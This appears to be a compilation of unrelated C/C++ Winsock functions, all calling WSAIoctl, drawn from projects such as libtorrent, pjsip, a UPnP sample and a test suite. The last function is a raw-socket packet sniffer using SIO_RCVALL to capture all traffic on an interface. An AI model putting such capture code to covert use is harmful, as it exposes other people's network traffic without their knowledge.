static int socket_recvmsg_unsafe(struct socket_file *f, struct msghdr *msg, int flags) { if (flags & ~LINUX_MSG_DONTWAIT) log_error("socket_sendmsg(): flags (0x%x) contains unsupported bits.", flags); if (f->shared->type != LINUX_SOCK_DGRAM && f->shared->type != LINUX_SOCK_RAW) { /* WSARecvMsg() only supports datagram and raw sockets * For other types we emulate using recvfrom() */ /* TODO: MSG_WAITALL * Per documentation, MSG_WAITALL should only return one type of message, i.e. only from one addr * But in this case (TCP) this should be true */ msg->msg_controllen = 0; msg->msg_flags = 0; /* TODO */ return socket_recvfrom_unsafe(f, msg->msg_iov[0].iov_base, msg->msg_iov[0].iov_len, flags, msg->msg_name, &msg->msg_namelen); } typedef int(*PFNWSARECVMSG)( _In_ SOCKET s, _Inout_ LPWSAMSG lpMsg, _Out_ LPDWORD lpdwNumberOfBytesRecvd, _In_ LPWSAOVERLAPPED lpOverlapped, _In_ LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine ); static PFNWSARECVMSG WSARecvMsg; if (!WSARecvMsg) { GUID guid = WSAID_WSARECVMSG; DWORD bytes; if (WSAIoctl(f->socket, SIO_GET_EXTENSION_FUNCTION_POINTER, &guid, sizeof(guid), &WSARecvMsg, sizeof(WSARecvMsg), &bytes, NULL, NULL) == SOCKET_ERROR) { log_error("WSAIoctl(WSARecvMsg) failed, error code: %d", WSAGetLastError()); return -L_EIO; } } WSABUF *buffers = (WSABUF *)alloca(sizeof(struct iovec) * msg->msg_iovlen); for (int i = 0; i < msg->msg_iovlen; i++) { buffers[i].len = msg->msg_iov[i].iov_len; buffers[i].buf = msg->msg_iov[i].iov_base; } struct sockaddr_storage addr_storage; int addr_storage_len = sizeof(struct sockaddr_storage); WSAMSG wsamsg; wsamsg.name = (LPSOCKADDR)&addr_storage; wsamsg.namelen = addr_storage_len; wsamsg.lpBuffers = buffers; wsamsg.dwBufferCount = msg->msg_iovlen; wsamsg.Control.buf = msg->msg_control; wsamsg.Control.len = msg->msg_controllen; wsamsg.dwFlags = 0; int r; while ((r = socket_wait_event(f, FD_READ | FD_CLOSE, flags)) == 0) { if (WSARecvMsg(f->socket, &wsamsg, &r, NULL, NULL) != SOCKET_ERROR) break; InterlockedAnd(&f->shared->events, ~FD_READ); int err = WSAGetLastError(); if (err != WSAEWOULDBLOCK) { log_warning("WSARecvMsg() failed, error code: %d", err); return translate_socket_error(err); } } /* Translate WSAMSG back to msghdr */ addr_storage_len = translate_socket_addr_to_linux(&addr_storage, wsamsg.namelen); int copylen = min(msg->msg_namelen, addr_storage_len); memcpy(msg->msg_name, &addr_storage, copylen); msg->msg_namelen = addr_storage_len; msg->msg_controllen = wsamsg.Control.len; msg->msg_flags = 0; if (wsamsg.dwFlags & MSG_TRUNC) msg->msg_flags |= LINUX_MSG_TRUNC; if (wsamsg.dwFlags & MSG_CTRUNC) msg->msg_flags |= LINUX_MSG_CTRUNC; /* TODO: MSG_EOR, MSG_OOB, and MSG_ERRQUEUE */ return r; }
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort) { // 一定要清除一下,不然socket会耗尽系统资源 Disconnect(); // 重置事件对像 ResetEvent(m_hEvent); m_bIsRunning = false; if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5) return false; m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (m_Socket == SOCKET_ERROR) { return false; } hostent* pHostent = NULL; if (m_nProxyType != PROXY_NONE) pHostent = gethostbyname(m_strProxyHost); else pHostent = gethostbyname(lpszHost); if (pHostent == NULL) return false; // 构造sockaddr_in结构 sockaddr_in ClientAddr; ClientAddr.sin_family = AF_INET; if (m_nProxyType != PROXY_NONE) ClientAddr.sin_port = htons(m_nProxyPort); else ClientAddr.sin_port = htons(nPort); ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr); if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) return false; // 禁用Nagle算法后,对程序效率有严重影响 // The Nagle algorithm is disabled if the TCP_NODELAY option is enabled // const char chOpt = 1; // int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char)); // 验证socks5服务器 if (m_nProxyType == PROXY_SOCKS_VER5 && !ConnectProxyServer(lpszHost, nPort)) { return false; } // 不用保活机制,自己用心跳实瑞 const char chOpt = 1; // True // Set KeepAlive 开启保活机制, 防止服务端产生死连接 if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0) { // 设置超时详细信息 tcp_keepalive klive; klive.onoff = 1; // 启用保活 klive.keepalivetime = 1000 * 60 * 3; // 3分钟超时 Keep Alive klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply WSAIoctl ( m_Socket, SIO_KEEPALIVE_VALS, &klive, sizeof(tcp_keepalive), NULL, 0, (unsigned long *)&chOpt, 0, NULL ); } m_bIsRunning = true; m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true); return true; }
std::vector<ip_interface> enum_net_interfaces(io_service& ios, error_code& ec) { std::vector<ip_interface> ret; // covers linux, MacOS X and BSD distributions #if defined TORRENT_LINUX || defined TORRENT_BSD || defined TORRENT_SOLARIS int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { ec = error_code(errno, asio::error::system_category); return ret; } ifconf ifc; char buf[1024]; ifc.ifc_len = sizeof(buf); ifc.ifc_buf = buf; if (ioctl(s, SIOCGIFCONF, &ifc) < 0) { ec = error_code(errno, asio::error::system_category); close(s); return ret; } char *ifr = (char*)ifc.ifc_req; int remaining = ifc.ifc_len; while (remaining) { ifreq const& item = *reinterpret_cast<ifreq*>(ifr); if (item.ifr_addr.sa_family == AF_INET #if TORRENT_USE_IPV6 || item.ifr_addr.sa_family == AF_INET6 #endif ) { ip_interface iface; iface.interface_address = sockaddr_to_address(&item.ifr_addr); strcpy(iface.name, item.ifr_name); ifreq netmask = item; if (ioctl(s, SIOCGIFNETMASK, &netmask) < 0) { if (iface.interface_address.is_v6()) { // this is expected to fail (at least on MacOS X) iface.netmask = address_v6::any(); } else { ec = error_code(errno, asio::error::system_category); close(s); return ret; } } else { iface.netmask = sockaddr_to_address(&netmask.ifr_addr); } ret.push_back(iface); } #if defined TORRENT_BSD int current_size = item.ifr_addr.sa_len + IFNAMSIZ; #elif defined TORRENT_LINUX || defined TORRENT_SOLARIS int current_size = sizeof(ifreq); #endif ifr += current_size; remaining -= current_size; } close(s); #elif defined TORRENT_WINDOWS SOCKET s = socket(AF_INET, SOCK_DGRAM, 0); if (s == SOCKET_ERROR) { ec = error_code(WSAGetLastError(), asio::error::system_category); return ret; } INTERFACE_INFO buffer[30]; DWORD size; if (WSAIoctl(s, SIO_GET_INTERFACE_LIST, 0, 0, buffer, sizeof(buffer), &size, 0, 0) != 0) { ec = error_code(WSAGetLastError(), asio::error::system_category); closesocket(s); return ret; } closesocket(s); int n = size / sizeof(INTERFACE_INFO); ip_interface iface; for (int i = 0; i < n; ++i) { iface.interface_address = sockaddr_to_address(&buffer[i].iiAddress.Address); iface.netmask = sockaddr_to_address(&buffer[i].iiNetmask.Address); iface.name[0] = 0; if (iface.interface_address == address_v4::any()) continue; ret.push_back(iface); } #else #warning THIS OS IS NOT RECOGNIZED, enum_net_interfaces WILL PROBABLY NOT WORK // make a best guess of the interface we're using and its IP udp::resolver r(ios); udp::resolver::iterator i = r.resolve(udp::resolver::query(asio::ip::host_name(ec), "0"), ec); if (ec) return ret; ip_interface iface; for (;i != udp::resolver_iterator(); ++i) { iface.interface_address = i->endpoint().address(); if (iface.interface_address.is_v4()) iface.netmask = address_v4::netmask(iface.interface_address.to_v4()); ret.push_back(iface); } #endif return ret; }
void Test_WSAIoctl_GetInterfaceList() { WSADATA wdata; INT iResult; SOCKET sck; ULONG buflen, BytesReturned, BCastAddr; ULONG infoCount, i1, j1, iiFlagsExpected; BYTE* buf = NULL; LPINTERFACE_INFO ifInfo; PMIB_IPADDRTABLE pTable = NULL; PMIB_IPADDRROW pRow; /* Get PMIB_IPADDRTABE - these results we should get from wshtcpip.dll too. */ /* pTable is allocated by Test_WSAIoctl_InitTest! */ if (!Test_WSAIoctl_InitTest(&pTable)) goto cleanup; /* Start up Winsock */ iResult = WSAStartup(MAKEWORD(2, 2), &wdata); ok(iResult == 0, "WSAStartup failed. iResult = %d\n", iResult); /* Create the socket */ sck = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_IP, 0, 0, 0); ok(sck != INVALID_SOCKET, "WSASocket failed. sck = %d\n", (INT)sck); if (sck == INVALID_SOCKET) { skip("Failed to create socket!\n"); goto cleanup; } /* Do the Ioctl (buffer to small) */ buflen = sizeof(INTERFACE_INFO)-1; buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, buflen); if (buf == NULL) { skip("Failed to allocate memory!\n"); goto cleanup; } BytesReturned = 0; iResult = WSAIoctl(sck, SIO_GET_INTERFACE_LIST, 0, 0, buf, buflen, &BytesReturned, 0, 0); ok(iResult == -1, "WSAIoctl/SIO_GET_INTERFACE_LIST did not fail! iResult = %d.\n", iResult); ok_hex(WSAGetLastError(), WSAEFAULT); ok(BytesReturned == 0, "WSAIoctl/SIO_GET_INTERFACE_LIST: BytesReturned should be 0, not %ld.\n", BytesReturned); HeapFree(GetProcessHeap(), 0, buf); buf = NULL; /* Do the Ioctl In most cases no loop is done. Only if WSAIoctl fails with WSAEFAULT (buffer to small) we need to retry with a larger buffer */ i1 = 0; while (TRUE) { if (buf != NULL) { HeapFree(GetProcessHeap(), 0, buf); buf = NULL; } buflen = sizeof(INTERFACE_INFO) * (i1+1) * 32; buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, buflen); if (buf == NULL) { skip("Failed to allocate memory!\n"); goto cleanup; } BytesReturned = 0; iResult = WSAIoctl(sck, SIO_GET_INTERFACE_LIST, 0, 0, buf, buflen, &BytesReturned, 0, 0); /* we have what we want ... leave loop */ if (iResult == NO_ERROR) break; /* only retry if buffer was to small */ /* to avoid infinite loop we maximum retry count is 4 */ if ((i1 >= 4) || (WSAGetLastError() != WSAEFAULT)) { ok_hex(iResult, NO_ERROR); skip("WSAIoctl / SIO_GET_INTERFACE_LIST\n"); goto cleanup; } /* buffer to small -> retry */ i1++; } ok_dec(BytesReturned % sizeof(INTERFACE_INFO), 0); /* Calculate how many INTERFACE_INFO we got */ infoCount = BytesReturned / sizeof(INTERFACE_INFO); ok(infoCount == pTable->dwNumEntries, "Wrong count of entries! Got %ld, expected %ld.\n", pTable->dwNumEntries, infoCount); if (winetest_debug >= 2) { trace("WSAIoctl\n"); trace(" BytesReturned %ld - InfoCount %ld\n ", BytesReturned, infoCount); ifInfo = (LPINTERFACE_INFO)buf; for (i1 = 0; i1 < infoCount; i1++) { trace("entry-index %ld\n", i1); trace(" iiFlags %ld\n", ifInfo->iiFlags); traceaddr("ifInfo^.iiAddress", ifInfo->iiAddress); traceaddr("ifInfo^.iiBroadcastAddress", ifInfo->iiBroadcastAddress); traceaddr("ifInfo^.iiNetmask", ifInfo->iiNetmask); ifInfo++; } } /* compare entries */ ifInfo = (LPINTERFACE_INFO)buf; for (i1 = 0; i1 < infoCount; i1++) { if (winetest_debug >= 2) trace("Entry %ld\n", i1); for (j1 = 0; j1 < pTable->dwNumEntries; j1++) { if (ifInfo[i1].iiAddress.AddressIn.sin_addr.s_addr == pTable->table[j1].dwAddr) { pRow = &pTable->table[j1]; break; } } if (j1 == pTable->dwNumEntries) { skip("Skipping interface\n"); continue; } /* iiFlags * Don't know if this value is fix for SIO_GET_INTERFACE_LIST! */ iiFlagsExpected = IFF_BROADCAST | IFF_MULTICAST; if ((pRow->wType & MIB_IPADDR_DISCONNECTED) == 0) iiFlagsExpected |= IFF_UP; if (pRow->dwAddr == ntohl(INADDR_LOOPBACK)) { iiFlagsExpected |= IFF_LOOPBACK; /* on Windows 7 loopback has broadcast flag cleared */ //iiFlagsExpected &= ~IFF_BROADCAST; } ok_hex(ifInfo[i1].iiFlags, iiFlagsExpected); ok_hex(ifInfo[i1].iiAddress.AddressIn.sin_addr.s_addr, pRow->dwAddr); // dwBCastAddr is not the "real" Broadcast-Address. BCastAddr = (pRow->dwBCastAddr == 1 && (iiFlagsExpected & IFF_BROADCAST) != 0) ? 0xFFFFFFFF : 0x0; ok_hex(ifInfo[i1].iiBroadcastAddress.AddressIn.sin_addr.s_addr, BCastAddr); ok_hex(ifInfo[i1].iiNetmask.AddressIn.sin_addr.s_addr, pRow->dwMask); } cleanup: if (sck != 0) closesocket(sck); if (pTable != NULL) free(pTable); if (buf != NULL) HeapFree(GetProcessHeap(), 0, buf); WSACleanup(); }
int IOCP_Accept(IOCP* iocp, IOCP_KEY key, SOCKET sockNew, unsigned char* buf, unsigned int len, unsigned int timeout, IOCP_Proc func, void* param) { int ret = IOCP_PENDING; DWORD dwBytesReceived = 0; GUID GuidAcceptEx = WSAID_ACCEPTEX; LPFN_ACCEPTEX lpfnAcceptEx = NULL; DWORD dwBytes = 0; IOCP_CONTEXT* context = (IOCP_CONTEXT*)(key); SOCKET sockListen = (SOCKET)(context->handle); if( !iocp->inited ) { return IOCP_UNINITIALIZED; } if(len < (sizeof(SOCKADDR_IN) + 16) * 2) return IOCP_BUFFERROR; if( 0 != WSAIoctl(sockListen, SIO_GET_EXTENSION_FUNCTION_POINTER, &GuidAcceptEx, sizeof(GuidAcceptEx), &lpfnAcceptEx, sizeof(lpfnAcceptEx), &dwBytes, NULL, NULL) ) { iocp->lastErrorCode = WSAGetLastError(); return IOCP_UNDEFINED; } if(context->lockPtr) { Lock_Read(context->lockPtr); } if(context->status != IOCP_NORMAL) { ret = context->status; } //else if(iocp->sessionTimeout(iocp, context)) else if(IOCP_SessionTimeout(iocp, context)) { ret = IOCP_SESSIONTIMEO; } else { context->readOlp.oppType = IOCP_ACCEPT; context->readOlp.buf = buf; context->readOlp.len = len; context->readOlp.realLen = len; context->readOlp.iocpProc = func; context->readOlp.param = param; context->readOlp.timeout = timeout; if(timeout > 0) { context->readOlp.timer = //TimerQueue_CreateTimer(&iocp->timerQueue, timeout, iocp->readTimeout, context); TimerQueue_CreateTimer(&iocp->timerQueue, timeout, IOCP_ReadTimeout, context); } if( !lpfnAcceptEx(sockListen, sockNew, buf, len - (sizeof(SOCKADDR_IN) + 16) * 2 , sizeof(SOCKADDR_IN) + 16, sizeof(SOCKADDR_IN) + 16, &dwBytesReceived, (LPOVERLAPPED)(&context->readOlp)) ) { if( WSA_IO_PENDING != WSAGetLastError()) { iocp->lastErrorCode = WSAGetLastError(); ret = IOCP_UNDEFINED; } } else { ret = IOCP_UNDEFINED; } if(ret != IOCP_PENDING) { //iocp->cleanOlp(iocp, &context->readOlp); IOCP_CleanOlp(iocp, &context->readOlp); } } if(context->lockPtr) { Lock_Unlock(context->lockPtr); } return ret; }
static void load_socket_functions() { if (s_lpfnGetAcceptExSockaddrs != NULL) return; socket_t s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s == INVALID_SOCKET) { dassert(false, "create Socket Failed, err = %d", ::GetLastError()); } GUID GuidAcceptEx = WSAID_ACCEPTEX; GUID GuidConnectEx = WSAID_CONNECTEX; GUID GuidGetAcceptExSockaddrs = WSAID_GETACCEPTEXSOCKADDRS; DWORD dwBytes; // Load the AcceptEx function into memory using WSAIoctl. // The WSAIoctl function is an extension of the ioctlsocket() // function that can use overlapped I/O. The function's 3rd // through 6th parameters are input and output buffers where // we pass the pointer to our AcceptEx function. This is used // so that we can call the AcceptEx function directly, rather // than refer to the Mswsock.lib library. int rt = WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &GuidAcceptEx, sizeof(GuidAcceptEx), &s_lpfnAcceptEx, sizeof(s_lpfnAcceptEx), &dwBytes, NULL, NULL); if (rt == SOCKET_ERROR) { dwarn("WSAIoctl for AcceptEx failed, err = %d", ::WSAGetLastError()); closesocket(s); return; } rt = WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &GuidConnectEx, sizeof(GuidConnectEx), &s_lpfnConnectEx, sizeof(s_lpfnConnectEx), &dwBytes, NULL, NULL); if (rt == SOCKET_ERROR) { dwarn("WSAIoctl for ConnectEx failed, err = %d", ::WSAGetLastError()); closesocket(s); return; } rt = WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &GuidGetAcceptExSockaddrs, sizeof(GuidGetAcceptExSockaddrs), &s_lpfnGetAcceptExSockaddrs, sizeof(s_lpfnGetAcceptExSockaddrs), &dwBytes, NULL, NULL); if (rt == SOCKET_ERROR) { dwarn("WSAIoctl for GetAcceptExSockaddrs failed, err = %d", ::WSAGetLastError()); closesocket(s); return; } closesocket(s); }
// Abstract: // Determine the number of ATM adapters on the machine and then print out // a list of each adaptors NSAP address. // // void Enumerator( OPTIONS *pOptions ) { SOCKET sd = INVALID_SOCKET; SOCKADDR_ATM atm_addr = {0}; CHAR szAddress[MAX_ATM_INTERFACE_LEN] = {'\0'}; DWORD dwNumInterfaces = 0; DWORD dwAddrLen = 0; DWORD dwBytes=sizeof(DWORD); int nRet = 0; sd = WSASocket(FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, &pOptions->protocolInfo, 0, WSA_FLAG_OVERLAPPED); if (INVALID_SOCKET == sd) { printf("WSASocket: %d\n", WSAGetLastError()); return; } nRet = WSAIoctl(sd, SIO_GET_NUMBER_OF_ATM_DEVICES, NULL, 0, (LPVOID)&dwNumInterfaces, sizeof(dwNumInterfaces), &dwBytes, NULL, NULL); if (SOCKET_ERROR == nRet) { printf("WSAIoctl:SIO_GET_NUMBER_OF_ATM_DEVICES: %d\n", WSAGetLastError()); return; } for (DWORD i=0; i < dwNumInterfaces ; i++) { ZeroMemory(&atm_addr, sizeof(SOCKADDR_ATM)); nRet = WSAIoctl(sd, SIO_GET_ATM_ADDRESS, (LPVOID)&i, sizeof(DWORD), (LPVOID)&atm_addr.satm_number, sizeof(atm_addr.satm_number), &dwBytes, NULL, NULL); if (SOCKET_ERROR == nRet) { printf("WSAIoctl:SIO_GET_ATM_ADDRESS: %d\n", WSAGetLastError()); return; } // fill in remainder of ATM address structure atm_addr.satm_family = AF_ATM; atm_addr.satm_number.AddressType = ATM_NSAP; atm_addr.satm_number.NumofDigits = ATM_ADDR_SIZE; atm_addr.satm_blli.Layer2Protocol = SAP_FIELD_ANY; atm_addr.satm_blli.Layer3Protocol = SAP_FIELD_ABSENT; atm_addr.satm_bhli.HighLayerInfoType = SAP_FIELD_ABSENT; ZeroMemory(szAddress, sizeof(szAddress)); dwAddrLen = sizeof(szAddress); if (SOCKET_ERROR == WSAAddressToString((LPSOCKADDR)&atm_addr, sizeof(atm_addr), &pOptions->protocolInfo, szAddress, &dwAddrLen)) { printf("WSAAddressToString: %d\n", WSAGetLastError()); break; } printf("ATM Interface [%d]: <%s>\n", i, szAddress); } if (INVALID_SOCKET != sd) { closesocket(sd); sd = INVALID_SOCKET; } return; }
/* * Create new socket/endpoint for communication and returns a descriptor. */ PJ_DEF(pj_status_t) pj_sock_socket(int af, int type, int proto, pj_sock_t *sock) { PJ_CHECK_STACK(); /* Sanity checks. */ PJ_ASSERT_RETURN(sock!=NULL, PJ_EINVAL); PJ_ASSERT_RETURN((unsigned)PJ_INVALID_SOCKET==INVALID_SOCKET, (*sock=PJ_INVALID_SOCKET, PJ_EINVAL)); *sock = WSASocket(af, type, proto, NULL, 0, WSA_FLAG_OVERLAPPED); if (*sock == PJ_INVALID_SOCKET) return PJ_RETURN_OS_ERROR(pj_get_native_netos_error()); #if PJ_SOCK_DISABLE_WSAECONNRESET && \ (!defined(PJ_WIN32_WINCE) || PJ_WIN32_WINCE==0) #ifndef SIO_UDP_CONNRESET #define SIO_UDP_CONNRESET _WSAIOW(IOC_VENDOR,12) #endif /* Disable WSAECONNRESET for UDP. * See https://trac.pjsip.org/repos/ticket/1197 */ if (type==PJ_SOCK_DGRAM) { DWORD dwBytesReturned = 0; BOOL bNewBehavior = FALSE; DWORD rc; int iOptVal; int retOpt; int iOptLen; int iOptValRet = 0; iOptLen = sizeof(int); // POPOV: for debug //retOpt = getsockopt(*sock, SOL_SOCKET, SO_SNDBUF, (char*)&iOptValRet, &iOptLen); //retOpt = getsockopt(*sock, SOL_SOCKET, SO_RCVBUF, (char*)&iOptValRet, &iOptLen); // POPOV: setting socket buffers //iOptVal = 2097152; iOptVal = 65536; retOpt = setsockopt(*sock, SOL_SOCKET, PJ_SO_SNDBUF, (char*)&iOptVal, iOptLen); retOpt = setsockopt(*sock, SOL_SOCKET, PJ_SO_RCVBUF, (char*)&iOptVal, iOptLen); // POPOV: for debug //retOpt = getsockopt(*sock, SOL_SOCKET, SO_SNDBUF, (char*)&iOptValRet, &iOptLen); //retOpt = getsockopt(*sock, SOL_SOCKET, SO_RCVBUF, (char*)&iOptValRet, &iOptLen); rc = WSAIoctl(*sock, SIO_UDP_CONNRESET, &bNewBehavior, sizeof(bNewBehavior), NULL, 0, &dwBytesReturned, NULL, NULL); if (rc==SOCKET_ERROR) { // Ignored.. } } #endif return PJ_SUCCESS; }
int main(void) { char udn[20]; int i; char friendlyname[100]; #ifdef WIN32 WSADATA wsaData; #endif _CrtSetDbgFlag ( _CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_LEAK_CHECK_DF //_CRTDBG_CHECK_ALWAYS_DF ); /* Randomized udn generation */ #ifdef WIN32 srand(GetTickCount()); #endif #ifdef _POSIX srand((unsigned int)time(NULL)); #endif for (i=0;i<19;i++) { udn[i] = (rand() % 25) + 66; } udn[19] = 0; /* generate a friendly name that has the host name in it */ #ifdef WIN32 if (WSAStartup(MAKEWORD(1,1), &wsaData) != 0) {exit(1);} #endif memcpy(friendlyname,"Intel MicroSTB (",16); gethostname(friendlyname+16,75); #ifdef WIN32 memcpy(friendlyname+strlen(friendlyname),")/Win32\0",8); #endif #ifdef _POSIX memcpy(friendlyname+strlen(friendlyname),")/Posix\0",8); #endif /* Setup the callbacks */ RemoteIOConnectionChanged = &XrtVideo_ConnectionChangedSink; RemoteIOReset = &XrtVideo_ResetSink; RemoteIOCommand = &XrtVideo_CommandSink; /* Setup the Remote IO Global Values */ RemoteIO_Application = "XRT20:Sample Client"; RemoteIO_MaxCommandSize = 65000; // Set the maximum command size, keep this at 64k RemoteIO_DisplayEncoding = RemoteIO_JPEG; // Set the image format, see (enum RemoteIOImageFormat) for complete list. RemoteIO_DisplayWidth = 640; // Set the display width RemoteIO_DisplayHeight = 480; // Set the display height RemoteIO_DeviceInformation = ""; // Set propriatary information about the device /* * Set of commands that can be sent back to the host PC. These can be used even * if remoting is not connected. For a device with an IR remote, only SendKeyPress is used. */ /* RemoteIO_SendCommand(unsigned short command, char* data, int datalength); RemoteIO_SendKeyPress(int key); RemoteIO_SendKeyUp(int key); RemoteIO_SendKeyDown(int key); RemoteIO_SendMouseUp(int X,int Y,int Button); RemoteIO_SendMouseDown(int X,int Y,int Button); RemoteIO_SendMouseMove(int X,int Y); */ /* renderer callbacks. */ MROnVolumeChangeRequest = &MROnVolumeChangeRequestSink; MROnMuteChangeRequest = &MROnMuteChangeRequestSink; MROnMediaChangeRequest = &MROnMediaChangeRequestSink; MROnGetPositionRequest = &MROnGetPositionRequestSink; MROnSeekRequest = &MROnSeekRequestSink; MROnNextPreviousRequest = &MROnNextPreviousRequestSink; MROnStateChangeRequest = &MROnStateChangeRequestSink; MROnPlayModeChangeRequest = &MROnPlayModeChangeRequestSink; printf("Intel MicroSTB Sample Client\r\n"); StbChain = ILibCreateChain(); StbLTM = ILibCreateLifeTime(StbChain); #ifdef _DEBUG printf("StbLTM=%p\r\n", StbLTM); #endif // Create the stack for the Media Server, Media Renderer, and RIOClient StbStack = UpnpCreateMicroStack(StbChain,friendlyname, udn, "0000001", 1600, 0); InitMms(StbChain, StbStack, ".\\"); //ILibAddToChain(StbChain, StbLTM); /* seems to resolve dealyed event delivery */ MR_ExtendedM3uProcessor = CreatePlaylistParser(StbChain, 3); MR_MediaRenderer = CreateMediaRenderer(StbChain, StbStack, StbLTM); MR_RendererLogic = RSL_CreateRendererStateLogic ( StbChain, MR_MediaRenderer, InstructPlaylistLogic_FindTargetUri, InstructCodec_SetupStream, InstructCodec_Play, InstructCodec_Stop, InstructCodec_Pause, QueryCodec_IsBusy, Validate_MediaUri ); /* Create the RemoteIO client */ CreateRemoteIO(StbChain, StbStack); /* initialize emulated rendering module */ CodecWrapper_Init(MAX_STREAMS); STBS_Init(StbChain); /* * Set up the app to periodically monitor the available list * of IP addresses. */ sem_init(&UpnpIPAddressListLock, 0, 1); #ifdef _POSIX UpnpMonitor = ILibCreateLifeTime(StbChain); UpnpIPAddressListLength = ILibGetLocalIPAddressList(&UpnpIPAddressList); ILibLifeTime_Add(UpnpMonitor,NULL,4,&UpnpIPAddressMonitor,NULL); #endif #ifdef _WINSOCK1 UpnpMonitor = ILibCreateLifeTime(StbChain); UpnpIPAddressListLength = ILibGetLocalIPAddressList(&UpnpIPAddressList); ILibLifeTime_Add(UpnpMonitor,NULL,4,&UpnpIPAddressMonitor,NULL); #endif #ifdef _WINSOCK2 UpnpMonitorSocket = socket(AF_INET,SOCK_DGRAM,0); WSAIoctl(UpnpMonitorSocket,SIO_ADDRESS_LIST_CHANGE,NULL,0,NULL,0,&UpnpMonitorSocketReserved,&UpnpMonitorSocketStateObject,&UpnpIPAddressMonitor); #endif // for the media server UpdateIPAddresses(UpnpIPAddressList, UpnpIPAddressListLength); /* start UPnP - blocking call*/ #ifdef _POSIX signal(SIGINT,BreakSink); #endif #ifdef WIN32 /* Setup a thread to allow user to stop renderer when user hits key */ CreateThread(NULL,0,&Run,NULL,0,NULL); #endif ILibStartChain(StbChain); StopMms(); STBS_Uninit(); /* be sure to FREE the address list */ sem_destroy(&UpnpIPAddressListLock); FREE(UpnpIPAddressList); UpnpIPAddressList = NULL; /* clean up wsastartup */ #ifdef WIN32 WSACleanup(); #endif return 0; }
DWORD WINAPI ThreadFunc(PVOID) { TCHAR szIPFrom[18]; TCHAR szReply[128]; CIcmpReply IcmpReply; #pragma chMSG(Funzione schifo ma tanto va rifatta tutta...) HWND hwnd = GetForegroundWindow(); GetDlgItemText(hwnd, IDC_IPFROM, szIPFrom, chDIMOF(szIPFrom)); WSADATA wsadata; if (WSAStartup(MAKEWORD(2,2),&wsadata) != 0) _tprintf(TEXT("WSAStartup %i\n"), WSAGetLastError()); SOCKET s=WSASocket(AF_INET,SOCK_RAW,IPPROTO_IP,NULL,0,WSA_FLAG_OVERLAPPED); CIcmp Icmp; CInetAddr InAddr; BOOL bStatus = InAddr.LookUp(szIPFrom); assert(bStatus); Icmp.SendEcho(InAddr, NULL, 0, 64, 0, 0, 1000, &IcmpReply); wsprintf(szReply, TEXT("Reply from %x TTL %i RoundTrip %i %i bytes"), IcmpReply.Address, IcmpReply.Ttl, IcmpReply.RoundTripTime, IcmpReply.DataSize); //GetDlgItemText(hwnd, IDC_IPFROM, szFrom, chDIMOF(szFrom)); //SetDlgItemText(hwnd, IDC_IPTO, szFrom); HWND hwndLB = GetDlgItem(hwnd, IDC_LBREPLY); ListBox_SetCurSel(hwndLB, ListBox_AddString(hwndLB, szReply)); SOCKADDR_IN if0; if0.sin_port=0; if0.sin_family=AF_INET; ZeroMemory(&if0.sin_zero, sizeof(if0.sin_zero)); if0.sin_addr.S_un.S_addr = InAddr; //Attiva la comunicazione usando le strutture SOCKADDR e SOCKADDR_IN, le //quali contengono le informazioni per risolvere gli address Internet domains. if (bind(s,(SOCKADDR *)&if0,sizeof(if0)) == SOCKET_ERROR) { _tprintf(TEXT("Bind %i\n"), WSAGetLastError()); } DWORD dwBytesRet=0; int optval=1; if(WSAIoctl(s,SIO_RCVALL,&optval,sizeof(optval),NULL,0,&dwBytesRet,NULL,NULL)==SOCKET_ERROR) { _tprintf(TEXT("WSAIoctl %i\n"), WSAGetLastError()); } for(;;) { char buf[MAX_IP_SIZE]; dwBytesRet=0; DWORD dwFlags=0; WSABUF wsb; wsb.buf = buf; wsb.len = MAX_IP_SIZE; memset(wsb.buf,0x0,MAX_IP_SIZE); if(SOCKET_ERROR==WSARecv(s,&wsb,1,&dwBytesRet,&dwFlags,NULL,NULL)) { DWORD error = WSAGetLastError(); _tprintf(TEXT("%i\n"), error); break; } IN_ADDR inaddr; TCHAR szMsg[MAX_IP_SIZE]; PIPHEADER iphdr = (PIPHEADER)(wsb.buf); inaddr.S_un.S_addr = iphdr->dwDestIP; char buff[60]; strcpy_s(buff, 60, inet_ntoa(inaddr)); //struct hostent* hent = gethostbyaddr(buff, strlen(buff), 0); //ASSERT(hent != NULL); wsprintf(szMsg, TEXT("Packet: %x %x %x %x"), iphdr->dwSourceIP, iphdr->dwDestIP, iphdr->cbNextProtocol, iphdr->wTotalLen); ListBox_SetCurSel(hwndLB, ListBox_AddString(hwndLB, szMsg)); } return 0; }
